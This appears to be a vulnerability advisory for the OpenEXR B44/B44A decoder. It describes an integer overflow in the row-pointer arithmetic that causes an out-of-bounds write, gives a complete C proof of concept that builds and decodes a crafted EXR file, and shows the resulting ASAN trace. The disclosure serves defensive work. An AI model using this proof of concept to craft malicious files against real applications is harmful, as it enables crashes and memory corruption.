PYSEC-2026-2847 
### Summary
The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.

### Root cause 
* Variable declarations (internal_b44.c:535)
```c
int nx, ny;
```
`nx` and `ny` are declared as plain int. They are assigned from `curc->width` and `curc->height` which are int32_t.

* Scratch buffer allocation (internal_b44:543)
```c
nBytes = (uint64_t) (ny) * (uint64_t) (nx) *
               (uint64_t) (curc->bytes_per_element);
```
The allocation path correctly promotes to uint64_t before multiplying.
The scratch buffer is always large enough to hold the full channel.

* Row pointer reconstruction (internal_b44:560)
```c
row0 = (uint16_t*) scratch;
row0 += y * nx;          
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;
```
`y` and `nx` are both int. The product `y * nx` is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow

* Out of Band write (internal_b44:592)
```c
memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);
```
These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. 
The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.

### PoC
The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes `row0 += y * nx`, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.
```poc.cpp
#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CHECK(call)                                                  
    do {                                                             
        exr_result_t _rv = (call);                                   
        if (_rv != EXR_ERR_SUCCESS) {                                
            fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);   
            goto fail;                                               
        }                                                            
    } while (0)

static void fill_blocks(uint8_t* out, uint64_t n) {
    for (uint64_t i = 0; i < n; i++, out += 3) {
        out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
    }
}

int main(void) {
    const int64_t  W      = 268435456;
    const int64_t  H      = 9;
    const char*    path   = "/tmp/poc_b44.exr";

    const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
    const uint64_t psz    = blocks * 3;

    uint8_t* packed = (uint8_t*) malloc(psz);
    exr_context_t         ctxt   = NULL;
    exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
    int                   part   = -1;
    exr_chunk_info_t      cinfo;
    exr_decode_pipeline_t dec    = EXR_DECODE_PIPELINE_INITIALIZER;
    uint16_t              dummy  = 0;
    int                   ok     = 0;

    if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
    fill_blocks(packed, blocks);

    CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
    CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
    CHECK(exr_initialize_required_attr_simple(
              ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
    CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
                          EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1));
    CHECK(exr_write_header(ctxt));
    CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz));
    exr_finish(&ctxt); ctxt = NULL;

    fprintf(stderr, "[*] wrote %s  W=%"PRId64" H=%"PRId64 "  packed=%"PRIu64" bytes\n", path, W, H, psz);


    CHECK(exr_start_read(&ctxt, path, &cinit));
    CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, &cinfo));
    CHECK(exr_decoding_initialize(ctxt, 0, &cinfo, &dec));

    dec.channels[0].decode_to_ptr          = (uint8_t*)&dummy;
    dec.channels[0].user_pixel_stride      = 2;
    dec.channels[0].user_line_stride       = dec.channels[0].width * 2;
    dec.channels[0].user_bytes_per_element = 2;
    dec.channels[0].user_data_type         = dec.channels[0].data_type;

    CHECK(exr_decoding_choose_default_routines(ctxt, 0, &dec));
    dec.unpack_and_convert_fn = NULL; 

    fprintf(stderr, "[*] calling exr_decoding_run()h\n");
    fflush(stderr);


    CHECK(exr_decoding_run(ctxt, 0, &dec));
    ok = 1;

fail:
    if (ctxt) { exr_decoding_destroy(ctxt, &dec); exr_finish(&ctxt); }
    free(packed);
    return ok ? 0 : 1;
}
```
### ASAN Trace
```
openexr/src/lib/OpenEXRCore/internal_b44.c:561:23: runtime error:
    signed integer overflow: 8 * 268435456 cannot be represented in type 'int'
    #0 in uncompress_b44_impl  internal_b44.c:561
    #1 in internal_exr_undo_b44  internal_b44.c:706
    #2 in decompress_data  compression.c:444
    #3 in exr_uncompress_chunk  compression.c:541
    #4 in exr_decoding_run  decoding.c:580
    #5 in main  poc.c:83

=================================================================
==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800
==PID==The signal is caused by a WRITE memory access.
    #0 in memcpy  (libc)
    #1 in uncompress_b44_impl  internal_b44.c:599
    #2 in internal_exr_undo_b44  internal_b44.c:706
    #3 in decompress_data  compression.c:444
    #4 in exr_uncompress_chunk  compression.c:541
    #5 in exr_decoding_run  decoding.c:580
    #6 in main  poc.c:83

SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompress_b44_impl internal_b44.c:599
```

### Impact
A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). 
Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).
CVSS v4.0 score: 8.4